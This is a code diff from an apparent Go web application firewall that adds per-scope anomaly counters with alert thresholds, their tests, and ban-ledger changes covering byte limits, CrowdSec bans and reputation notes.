+	// ScopeWatch is a named netblock of SWWAF_WATCH_NETS.
+	ScopeWatch = "watch"
+)
+
+// Scopes returns every scope.
+func Scopes() []string {
+	return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatch}
+}
+
+// The windows a counter counts in, as the alerts name them.
+const (
+	minute = "minute"
+	hour   = "hour"
+)
+
+// Thresholds are the most requests and the most bytes a scope may have
+// counted in a minute and in an hour before an alert is raised. Zero is
+// off.
+type Thresholds struct {
+	RequestsPerMinute int64
+	RequestsPerHour   int64
+	BytesPerMinute    int64
+	BytesPerHour      int64
+}
+
+// NamedNetblock is a netblock SWWAF_WATCH_NETS names.
+type NamedNetblock struct {
+	Name     string
+	Netblock netip.Prefix
+}
+
+// Params are what New needs.
+type Params struct {
+	// The thresholds of each scope: SWWAF_ANOMALY_CLIENT_*,
+	// SWWAF_ANOMALY_NET_*, SWWAF_ANOMALY_ASN_*, SWWAF_ANOMALY_TOTAL_* and
+	// SWWAF_WATCH_*.
+	Client, Net, ASN, Total, Watch Thresholds
+	// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
+	// client (SWWAF_ANOMALY_NET_V4_PREFIX and SWWAF_ANOMALY_NET_V6_PREFIX).
+	NetV4Prefix, NetV6Prefix int
+	// NamedNetblocks are SWWAF_WATCH_NETS.
+	NamedNetblocks []NamedNetblock
+	// Alerts receive the anomaly alerts.
+	Alerts *alerts.Queue
+}
+
+// Counter is one scope's counts, as alerts.json holds them: the scope,
+// with the netblock, the AS number or the name that tells it from the
+// others in that scope, and its two buckets of requests and of bytes in
+// the minute and in the hour. A bucket whose threshold is off counts
+// nothing, and is left out.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
+type Counter struct {
+	Scope       string            `json:"scope"`
+	Netblock    netip.Prefix      `json:"netblock,omitzero"`
+	ASN         string            `json:"asn,omitempty"`
+	Name        string            `json:"name,omitempty"`
+	Minute      ratelimit.Buckets `json:"minute,omitzero"`
+	Hour        ratelimit.Buckets `json:"hour,omitzero"`
+	MinuteBytes ratelimit.Buckets `json:"minute_bytes,omitzero"`
+	HourBytes   ratelimit.Buckets `json:"hour_bytes,omitzero"`
+}
+
+// Request is a request that has ended, as the counters count it.
+type Request struct {
+	// Host is the site the alert names, "" for none.
+	Host string
+	// Client is the client's address, and ClientGroup the client it is
+	// counted as: its IPv4 address, or the IPv6 netblock of
+	// SWWAF_IPV6_GROUP_PREFIX its address is in.
+	Client      netip.Addr
+	ClientGroup netip.Prefix
+	// ASN, ASName and Country are the client's as looked up, each "" when
+	// unknown.
+	ASN, ASName, Country string
+	// Bytes are the request's bytes, as SWWAF_BYTES_COUNT counts them.
+	Bytes int64
+}
+
+// Counters counts each request in the scopes it is in. It is safe for
+// concurrent use.
+type Counters struct {
+	params Params
+
+	mu       sync.Mutex
+	counters *simplelru.LRU[key, *Counter]
+}
+
+// key is what tells a counter from the others: its scope, with its
+// netblock, AS number or name.
+type key struct {
+	scope    string
+	netblock netip.Prefix
+	asn      string
+	name     string
+}
+
+// New returns Counters for params, with nothing counted yet.
+func New(params Params) *Counters {
+	counters, err := simplelru.NewLRU[key, *Counter](maxCounters, nil)
+	if err != nil {
+		panic(err) // NewLRU fails only for a size below one
+	}
+
+	return &Counters{params: params, counters: counters}
+}
+
+// Count counts r, a request that has ended, at now, in each scope it is
+// in whose thresholds are not all off: its client, the netblock around
+// it, its AS number once known, the whole service, and each named
+// netblock it is in. Only the counts whose threshold is set are counted.
+// For each scope whose count is over a threshold, it raises an anomaly
+// alert, for the first such count in the order requests and bytes in the
+// minute, then in the hour; the alert queue's cooldown holds back the
+// repeats. Nothing is refused or banned.
+func (c *Counters) Count(now time.Time, r Request) {
+	var raised []alerts.Alert
+
+	c.mu.Lock()
+
+	for _, scope := range c.scopesOf(r) {
+		counter, found := c.counters.Get(scope.key)
+		if !found {
+			counter = scope.key.counter()
+			c.counters.Add(scope.key, counter)
+		}
+
+		over, passed := counter.add(now, r.Bytes, scope.thresholds)
+		if passed {
+			raised = append(raised, alertFor(r, scope.key, over))
+		}
+	}
+
+	c.mu.Unlock()
+
+	for _, alert := range raised {
+		c.params.Alerts.Raise(alert)
+	}
+}
+
+// Snapshot returns every counter, sorted by scope, then by netblock, AS
+// number and name, as alerts.json lists them.
+func (c *Counters) Snapshot() []Counter {
+	c.mu.Lock()
+
+	counters := make([]Counter, 0, c.counters.Len())
+	for _, counter := range c.counters.Values() {
+		counters = append(counters, *counter)
+	}
+
+	c.mu.Unlock()
+
+	slices.SortFunc(counters, func(a, b Counter) int {
+		return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
+			cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
+	})
+
+	return counters
+}
+
+// Load puts counters, read from alerts.json, in place of those held, in
+// the order they were last counted, as the starts of their buckets tell,
+// so that the one counted least recently is dropped first. Each netblock
+// is masked to its length, so that 203.0.113.9/24 is 203.0.113.0/24.
+// Buckets whose time has passed at now are emptied, and a counter left
+// with every bucket empty is dropped.
+func (c *Counters) Load(counters []Counter, now time.Time) {
+	counters = slices.Clone(counters)
+	slices.SortStableFunc(counters, func(a, b Counter) int {
+		return a.lastStart().Compare(b.lastStart())
+	})
+
+	c.mu.Lock()
+	defer c.mu.Unlock()
+
+	c.counters.Purge()
+
+	for _, counter := range counters {
+		counter.Netblock = counter.Netblock.Masked()
+		empty := true
+
+		for _, count := range counter.counts() {
+			if count.buckets.Passed(now, count.length) {
+				*count.buckets = ratelimit.Buckets{}
+			}
+
+			empty = empty && *count.buckets == ratelimit.Buckets{}
+		}
+
+		if !empty {
+			c.counters.Add(counter.key(), &counter)
+		}
+	}
+}
+
+// scope is a scope a request is counted in, and its thresholds.
+type scope struct {
+	key        key
+	thresholds Thresholds
+}
+
+// scopesOf returns the scopes r is in whose thresholds are not all off.
+func (c *Counters) scopesOf(r Request) []scope {
+	p := c.params
+	client := r.Client.Unmap()
+
+	all := []scope{
+		{key{scope: ScopeClient, netblock: r.ClientGroup}, p.Client},
+		{key{scope: ScopeNet, netblock: c.netAround(client)}, p.Net},
+		{key{scope: ScopeTotal}, p.Total},
+	}
+
+	if r.ASN != "" {
+		all = append(all, scope{key{scope: ScopeASN, asn: r.ASN}, p.ASN})
+	}
+
+	for _, named := range p.NamedNetblocks {
+		if named.Netblock.Contains(client) {
+			all = append(all, scope{
+				key{scope: ScopeWatch, netblock: named.Netblock, name: named.Name}, p.Watch,
+			})
+		}
+	}
+
+	return slices.DeleteFunc(all, func(s scope) bool {
+		return s.thresholds == Thresholds{}
+	})
+}
+
+// netAround returns the netblock around client that ScopeNet counts it
+// in: NetV4Prefix or NetV6Prefix long.
+func (c *Counters) netAround(client netip.Addr) netip.Prefix {
+	length := c.params.NetV6Prefix
+	if client.Is4() {
+		length = c.params.NetV4Prefix
+	}
+
+	return netip.PrefixFrom(client, length).Masked()
+}
+
+// overThreshold is a count over its threshold: what it counts, requests or
+// bytes, its window, the count and the threshold.
+type overThreshold struct {
+	kind, window string
+	count        float64
+	threshold    int64
+}
+
+// add counts a request of bytes at now in each of c's counts whose
+// threshold, in thresholds, is set, and returns the first count over its
+// threshold, and whether there is one.
+func (c *Counter) add(
+	now time.Time, bytes int64, thresholds Thresholds,
+) (overThreshold, bool) {
+	// In the order of counts.
+	inOrder := [4]int64{
+		thresholds.RequestsPerMinute, thresholds.BytesPerMinute,
+		thresholds.RequestsPerHour, thresholds.BytesPerHour,
+	}
+
+	var (
+		first  overThreshold
+		passed bool
+	)
+
+	for i, count := range c.counts() {
+		threshold := inOrder[i]
+		if threshold == 0 {
+			continue
+		}
+
+		n := int64(1)
+		if count.kind == ratelimit.KindBytes {
+			n = bytes
+		}
+
+		counted := count.buckets.Add(now, count.length, n)
+		if !passed && counted > float64(threshold) {
+			first = overThreshold{count.kind, count.window, counted, threshold}
+			passed = true
+		}
+	}
+
+	return first, passed
+}
+
+// bucketCount is one of a counter's four counts: requests or bytes, in a
+// window of length, and the buckets they are counted in.
+type bucketCount struct {
+	kind, window string
+	length       time.Duration
+	buckets      *ratelimit.Buckets
+}
+
+// counts returns c's counts: requests and bytes in the minute, then in
+// the hour.
+func (c *Counter) counts() [4]bucketCount {
+	return [4]bucketCount{
+		{ratelimit.KindRequests, minute, time.Minute, &c.Minute},
+		{ratelimit.KindBytes, minute, time.Minute, &c.MinuteBytes},
+		{ratelimit.KindRequests, hour, time.Hour, &c.Hour},
+		{ratelimit.KindBytes, hour, time.Hour, &c.HourBytes},
+	}
+}
+
+// lastStart returns the start of c's latest bucket, which tells, to the
+// minute or to the hour, when c was last counted.
+func (c *Counter) lastStart() time.Time {
+	var latest time.Time
+
+	for _, count := range c.counts() {
+		if count.buckets.Start.After(latest) {
+			latest = count.buckets.Start
+		}
+	}
+
+	return latest
+}
+
+// key returns what tells c from the other counters.
+func (c *Counter) key() key {
+	return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
+}
+
+// counter returns a counter for k, with nothing counted yet.
+func (k key) counter() *Counter {
+	return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
+}
+
+// alertFor returns the anomaly alert for o, a count over its threshold in
+// the scope k, which r took over it. It gives r's client, with its AS
+// number, AS name and country, and the netblock counted, of a client, the
+// netblock around it or a named netblock. Its detail gives the scope, the
+// AS number or the name of a scope that has one, the window, what is
+// counted, the count and the threshold.
+func alertFor(r Request, k key, o overThreshold) alerts.Alert {
+	detail := map[string]any{
+		"scope": k.scope, "window": o.window, "kind": o.kind, "count": o.count,
+		"threshold": o.threshold,
+	}
+
+	var counted string
+
+	switch k.scope {
+	case ScopeClient:
+		counted = "the client " + k.netblock.String()
+	case ScopeNet:
+		counted = "the netblock " + k.netblock.String()
+	case ScopeASN:
+		counted = k.asn
+		detail["asn"] = k.asn
+	case ScopeTotal:
+		counted = "the whole service"
+	default: // watch
+		counted = "the named netblock " + k.name + ", " + k.netblock.String()
+		detail["name"] = k.name
+	}
+
+	return alerts.Alert{
+		Event:    alerts.EventAnomaly,
+		Host:     r.Host,
+		Client:   r.Client,
+		Netblock: k.netblock,
+		ASN:      r.ASN,
+		ASName:   r.ASName,
+		Country:  r.Country,
+		Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
+			counted, o.threshold),
+		Detail: detail,
+	}
+}

internal/anomaly/anomaly_test.go

@@ -0,0 +1,238 @@
+package anomaly_test
+
+import (
+	"encoding/json"
+	"fmt"
+	"net/netip"
+	"net/url"
+	"reflect"
+	"slices"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/anomaly"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+)
+
+// maxCounters is how many counters are kept.
+const maxCounters = 20000
+
+func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
+	t.Parallel()
+
+	queue := newQueue()
+	office := netip.MustParsePrefix("203.0.113.0/24")
+	overAtTheSecond := anomaly.Thresholds{RequestsPerMinute: 1}
+	counters := anomaly.New(anomaly.Params{
+		Client: overAtTheSecond, Net: overAtTheSecond, ASN: overAtTheSecond,
+		Total: overAtTheSecond, Watch: overAtTheSecond,
+		// The netblock around a client is the client's own, and two names
+		// name one netblock.
+		NetV4Prefix: 32,
+		NamedNetblocks: []anomaly.NamedNetblock{
+			{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
+		},
+		Alerts: queue,
+	})
+
+	// The first client's second request is over the threshold in the six
+	// scopes it is in. The other client's two are both over it in the whole
+	// service and in each named netblock, three repeats each, and its
+	// second is over it in the scopes of its own, its client, its netblock
+	// and its AS number, which are no repeats.
+	for _, r := range []anomaly.Request{
+		{Client: netip.MustParseAddr("203.0.113.9"), ASN: "AS64496"},
+		{Client: netip.MustParseAddr("203.0.113.10"), ASN: "AS64511"},
+	} {
+		r.ClientGroup = netip.PrefixFrom(r.Client, 32)
+
+		for range 2 {
+			counters.Count(midnight(), r)
+		}
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 9 || queue.Suppressed() != 6 {
+		t.Fatalf("%d alerts wait and %d are held back, want 9 and 6: %+v",
+			len(waiting), queue.Suppressed(), waiting)
+	}
+
+	// alerts.json keeps each scope's cooldown: each alert raised again
+	// after a restart is a repeat.
+	data, err := json.Marshal(queue.Snapshot())
+	if err != nil {
+		t.Fatalf("encode: %v", err)
+	}
+
+	var read alerts.State
+
+	err = json.Unmarshal(data, &read)
+	if err != nil {
+		t.Fatalf("decode: %v", err)
+	}
+
+	after := newQueue()
+	after.Load(read)
+
+	for _, alert := range read.Waiting[alerts.DestinationWebhook] {
+		after.Raise(alert)
+	}
+
+	if after.Suppressed() != 9 {
+		t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
+	}
+}
+
+func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
+	t.Parallel()
+
+	counters := newCounters(anomaly.Params{
+		Client: anomaly.Thresholds{RequestsPerMinute: 1000},
+	})
+
+	for i := range maxCounters {
+		counters.Count(midnight(), request(i))
+	}
+
+	// Counted again, the first client is the most recently counted, and
+	// the second is dropped for a new one.
+	counters.Count(midnight(), request(0))
+	counters.Count(midnight(), request(maxCounters))
+
+	got := counters.Snapshot()
+	if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
+		!holds(got, maxCounters) {
+		t.Errorf("%d counters, holding the first client %v, the second %v and the "+
+			"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
+			holds(got, 1), holds(got, maxCounters), maxCounters)
+	}
+}
+
+func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
+	t.Parallel()
+
+	counters := newCounters(anomaly.Params{
+		Net:         anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
+		Total:       anomaly.Thresholds{RequestsPerMinute: 1000},
+		NetV4Prefix: 24,
+	})
+	halfAnHourOn := midnight().Add(30 * time.Minute)
+
+	// Half an hour on, the hour's buckets count still, and the minute's
+	// do not.
+	counters.Load([]anomaly.Counter{
+		{
+			Scope:    anomaly.ScopeNet,
+			Netblock: netip.MustParsePrefix("203.0.113.9/24"),
+			Minute:   ratelimit.Buckets{Start: midnight(), Current: 5},
+			Hour:     ratelimit.Buckets{Start: midnight(), Current: 7},
+		},
+		{
+			Scope:  anomaly.ScopeTotal,
+			Minute: ratelimit.Buckets{Start: midnight(), Current: 1},
+		},
+	}, halfAnHourOn)
+
+	// The whole service's counter, left empty, is dropped, and the
+	// netblock read is masked to its length.
+	netblock := anomaly.Counter{
+		Scope:    anomaly.ScopeNet,
+		Netblock: netip.MustParsePrefix("203.0.113.0/24"),
+		Hour:     ratelimit.Buckets{Start: midnight(), Current: 7},
+	}
+	if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
+		got, want) {
+		t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
+	}
+
+	// A request from the netblock is counted with the requests read.
+	counters.Count(halfAnHourOn, anomaly.Request{
+		Client:      netip.MustParseAddr("203.0.113.9"),
+		ClientGroup: netip.MustParsePrefix("203.0.113.9/32"),
+	})
+
+	netblock.Minute = ratelimit.Buckets{Start: halfAnHourOn, Current: 1}
+	netblock.Hour.Current = 8
+	want := []anomaly.Counter{netblock, {
+		Scope:  anomaly.ScopeTotal,
+		Minute: ratelimit.Buckets{Start: halfAnHourOn, Current: 1},
+	}}
+
+	if got := counters.Snapshot(); !reflect.DeepEqual(got, want) {
+		t.Errorf("counters after a request\n%+v\nwant\n%+v", got, want)
+	}
+}
+
+func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
+	t.Parallel()
+
+	counters := newCounters(anomaly.Params{
+		Client: anomaly.Thresholds{RequestsPerMinute: 1000},
+	})
+	now := midnight().Add(time.Minute)
+
+	// The second half of the file was counted in the minute before the
+	// first half.
+	read := make([]anomaly.Counter, 0, maxCounters)
+	for i := range maxCounters {
+		start := now
+		if i >= maxCounters/2 {
+			start = midnight()
+		}
+
+		read = append(read, anomaly.Counter{
+			Scope: anomaly.ScopeClient, Netblock: request(i).ClientGroup,
+			Minute: ratelimit.Buckets{Start: start, Current: 1},
+		})
+	}
+
+	counters.Load(read, now)
+	counters.Count(now, request(maxCounters))
+
+	got := counters.Snapshot()
+	if !holds(got, 0) || holds(got, maxCounters/2) {
+		t.Errorf("holding the first client of the file %v, and the first counted in "+
+			"the minute before %v, want only the first", holds(got, 0),
+			holds(got, maxCounters/2))
+	}
+}
+
+// midnight is the time of the tests' requests.
+func midnight() time.Time {
+	return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
+}
+
+// newCounters returns Counters for params, whose alerts go nowhere.
+func newCounters(params anomaly.Params) *anomaly.Counters {
+	params.Alerts = alerts.New(alerts.Params{})
+
+	return anomaly.New(params)
+}
+
+// newQueue returns a queue of alerts to a webhook, with the default
+// cooldown, which keeps them waiting, since it is never run.
+func newQueue() *alerts.Queue {
+	return alerts.New(alerts.Params{
+		WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
+		Events:     alerts.Events(),
+		Cooldown:   15 * time.Minute,
+		MaxPerHour: 60,
+		Now:        midnight,
+	})
+}
+
+// request returns a request from client number i, an address in
+// 10.0.0.0/8.
+func request(i int) anomaly.Request {
+	client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
+
+	return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
+}
+
+// holds reports whether counters hold the counter of client number i.
+func holds(counters []anomaly.Counter, i int) bool {
+	return slices.ContainsFunc(counters, func(counter anomaly.Counter) bool {
+		return counter.Netblock == request(i).ClientGroup
+	})
+}

internal/bans/admin_test.go

@@ -2,6 +2,7 @@ package bans_test
 
 import (
 	"net/netip"
+	"reflect"
 	"testing"
 	"time"
 
@@ -60,18 +61,74 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
 }
 
+func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
+	t.Parallel()
+
+	rules := defaultRules()
+	rules.MaxBans = 2
+	ledger := bans.New(rules)
+	netblock := netip.MustParsePrefix("203.0.113.1/32")
+	other := netip.MustParsePrefix("203.0.113.2/32")
+
+	// An admin bans the netblock for a minute, and it then breaks a limit
+	// twice, each time after its last ban has ended.
+	ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
+		"probes for logins")
+	first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
+
+	// A ban on another netblock fills the ledger, and the netblock's first
+	// ban for a limit, its earliest that is not an admin's, goes.
+	ledger.BanForLimit(other, second.Start, bans.Notes{})
+	wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
+
+	// The netblock's next ban still counts it.
+	third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
+	if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
+		t.Errorf("the third ban for a limit has earlier bans %+v, "+
+			"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
+	}
+}
+
+func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.1/32")
+
+	// The netblock breaks a limit twice, the second time after its first
+	// ban has ended, and the second ban's notes count the first. An admin
+	// then keeps the first ban.
+	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
+
+	kept := first
+	kept.Cause = bans.CauseAdmin
+	ledger.LoadEdit([]bans.Ban{kept, second})
+
+	// The netblock's next ban counts the kept ban once, as an admin's.
+	third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
+	if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
+		t.Errorf("the third ban for a limit has earlier bans %+v, "+
+			"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
+	}
+}
+
 func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) {
 	t.Parallel()
 
 	ledger := bans.New(defaultRules())
 
-	limit := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
-		bans.Notes{Limit: 1000, Window: "minute"})
-	attack := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
+	limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
+		bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
+	byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
+		midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
+	attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
 		bans.Notes{RuleID: "git-dir", Target: "path"})
 
 	for _, tc := range []struct{ got, want string }{
 		{limit.Reason, "requests per minute over the limit of 1000"},
+		{byteLimit.Reason, "bytes per hour over the limit of 10737418240"},
 		{attack.Reason, "matched the rule git-dir"},
 	} {
 		if tc.got != tc.want {
@@ -101,12 +158,12 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 	// kept, and counted among the earlier bans.
 	now := midnight().Add(30 * time.Minute)
 
-	_, banned := ledger.Check(netblock.Addr(), now)
+	_, banned, _ := ledger.Check(netblock.Addr(), now)
 	if banned {
 		t.Error("the lifted ban refuses")
 	}
 
-	ban := ledger.BanForLimit(netblock, now, bans.Notes{})
+	ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 	if ban.Expires.Sub(ban.Start) != time.Hour ||
 		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
 		t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
@@ -114,7 +171,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 	}
 
 	held := ledger.Bans(netblock)
-	if len(held) != 2 || held[0] != lifted {
+	if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
 		t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
 	}
 }
@@ -134,7 +191,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 
 	now := midnight().Add(2 * time.Hour)
 
-	_, banned := ledger.Find(netblock.Addr(), now)
+	_, banned, _ := ledger.Find(netblock.Addr(), now)
 	if banned {
 		t.Error("the lifted ban refuses")
 	}
@@ -145,7 +202,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 	}
 
 	// The next clear sign of attack bans for seven days, as a first does.
-	ban := ledger.BanForAttack(netblock, now, bans.Notes{})
+	ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
 	if ban.Expires.Sub(ban.Start) != 7*day {
 		t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
 	}
@@ -155,7 +212,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	t.Parallel()
 
 	ledger := bans.New(defaultRules())
-	made := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
+	made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
 		bans.Notes{})
 	atStart := bans.Ban{
 		Netblock: netip.MustParsePrefix("203.0.113.2/32"),
@@ -209,7 +266,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 
 	got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
 		"probes for logins")
-	if got != want {
+	if !reflect.DeepEqual(got, want) {
 		t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
 	}
 
@@ -220,8 +277,8 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 	}
 
 	// It refuses once the ban for the limit has ended.
-	ban, banned := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
-	if !banned || ban != want {
+	ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
+	if !banned || !reflect.DeepEqual(ban, want) {
 		t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
 			ban, banned, want)
 	}
@@ -261,11 +318,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 
 	wantChanged(t, ledger, true)
 
-	if _, banned := ledger.Check(client, now); banned {
+	if _, banned, _ := ledger.Check(client, now); banned {
 		t.Error("the client is still banned")
 	}
 
-	if _, banned := ledger.Check(other.Addr(), now); !banned {
+	if _, banned, _ := ledger.Check(other.Addr(), now); !banned {
 		t.Error("the other client's ban was lifted")
 	}
 

internal/bans/bans.go

@@ -1,8 +1,10 @@
 // Package bans is the ban ledger: the bans smallwebwaf makes on the
-// netblocks of clients that break a rate limit or show a clear sign of
-// attack, and those an admin makes, with their notes, as the "Bans"
-// section of SPEC.md describes. The bans are kept in memory, and written
-// to bans.json and read from it by the state package.
+// netblocks of clients that break a rate limit, a byte limit or the error
+// burst, show a clear sign of attack or are listed by the CrowdSec
+// decision list, and
+// those an admin makes, with their notes, as the "Bans" section of SPEC.md
+// describes. The bans are kept in memory, and written to bans.json and
+// read from it by the state package.
 package bans
 
 import (
@@ -26,6 +28,9 @@ const (
 	// CauseAdmin is a ban an admin made, or one smallwebwaf made that an
 	// admin keeps. It is never dropped.
 	CauseAdmin = "admin"
+	// CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec
+	// decision list lists. It ends when CrowdSec's decision does.
+	CauseCrowdSec = "crowdsec"
 )
 
 // repeatFactor is how many times as long as the netblock's last ban a ban
@@ -40,9 +45,9 @@ type Rules struct {
 	// LimitBanDuration is how long a first ban for a broken limit lasts.
 	LimitBanDuration time.Duration
 	// LimitBanRepeatWindow is how soon after the end of the netblock's
-	// ban that ended last, other than one for a clear sign of attack, a
-	// broken limit counts as a repeat, which bans for repeatFactor times as
-	// long as that ban.
+	// ban that ended last, other than one for a clear sign of attack or for
+	// CrowdSec's decision, a broken limit counts as a repeat, which bans for
+	// repeatFactor times as long as that ban.
 	LimitBanRepeatWindow time.Duration
 	// MaxBanDuration is the longest ban for a broken limit; one that would
 	// be longer is permanent instead.
@@ -63,10 +68,11 @@ type Ban struct {
 	Start    time.Time
 	// Expires is when the ban ends, zero for a permanent ban.
 	Expires time.Time
-	// Cause is CauseLimit, CauseAttack or CauseAdmin.
+	// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
 	Cause string
-	// Reason is a short text: for a ban smallwebwaf made, the limit broken
-	// or the rule that matched; for an admin's, what the admin wrote.
+	// Reason is a short text: for a ban smallwebwaf made, the limit broken,
+	// the rule that matched or the scenario of CrowdSec's decision; for an
+	// admin's, what the admin wrote.
 	Reason string
 	// Lifted is when an admin lifted the ban, zero while no admin has. A
 	// lifted ban refuses nothing, and does not make the netblock's next
@@ -91,22 +97,44 @@ func (b Ban) ActiveAt(now time.Time) bool {
 //
 //nolint:tagliatelle // the state files use snake_case, as the request log does
 type Notes struct {
-	// Country is the client's country, when it was looked up.
+	// ASN, ASName and Country are the client's AS number, AS name and
+	// country, when they were looked up: when the request that caused the
+	// ban was made, or when GeoJS answered about the client afterwards.
+	ASN     string `json:"asn"`
+	ASName  string `json:"as_name"`
 	Country string `json:"country"`
-	// Limit, Window and Count are, for a ban for a broken limit, the limit
-	// that was broken, its window, "minute", "hour" or "day", and the
-	// count reached: the client's requests in the window, the one that
-	// broke the limit included. These are the requests that counted
-	// toward the ban, and the window is the time over which they came.
+	// Kind, Limit, Window and Count are, for a ban for a broken limit,
+	// what the limit was on, "requests" for a rate limit, "bytes" for a
+	// byte limit or "refusals" for the error burst, the limit that was
+	// broken, its window, "minute", "hour" or "day", and the count reached:
+	// the client's requests, bytes or refusals in the window, those of the
+	// request that broke the limit included.
+	// These are what counted toward the ban, and the window is the time
+	// over which they came.
+	Kind   string  `json:"kind,omitempty"`
 	Limit  int64   `json:"limit,omitempty"`
 	Window string  `json:"window,omitempty"`
 	Count  float64 `json:"count,omitempty"`
+	// LimitPercent and LimitPercentSetting are, for a ban for a limit a
+	// biased threshold lowered, the client's percentage of that kind of
+	// limit, of which Limit is the result, and the setting that gave it.
+	// Both are left out for a limit that was not lowered.
+	LimitPercent        *int64 `json:"limit_percent,omitempty"`
+	LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
 	// RuleID and Target are, for a ban for a clear sign of attack, the id
-	// of the rule file rule that matched, and its target.
+	// of the rule file rule that matched, and its target; TrapPath is, for
+	// one for a request for a path in SWWAF_TRAP_PATHS, that path as the
+	// client sent it.
 	RuleID   string `json:"rule_id,omitempty"`
 	Target   string `json:"target,omitempty"`
-	// Request is the request that broke the limit, or that was the clear
-	// sign of attack.
+	TrapPath string `json:"trap_path,omitempty"`
+	// Reputation is the reputation sources that listed the client when
+	// the request that caused the ban was made, in the order the request
+	// log's reputation names them. It is left out when none did.
+	Reputation []ReputationHit `json:"reputation,omitempty"`
+	// Request is the request that broke the limit, or whose bytes broke
+	// it, that was the clear sign of attack, or that came from a client the
+	// CrowdSec decision list lists.
 	Request Request `json:"request"`
 	// Requests is how many requests the netblock has sent since it was
 	// first seen, and Refused how many of them the ban has refused so
@@ -118,11 +146,22 @@ type Notes struct {
 	EarlierBans EarlierBans `json:"earlier_bans"`
 }
 
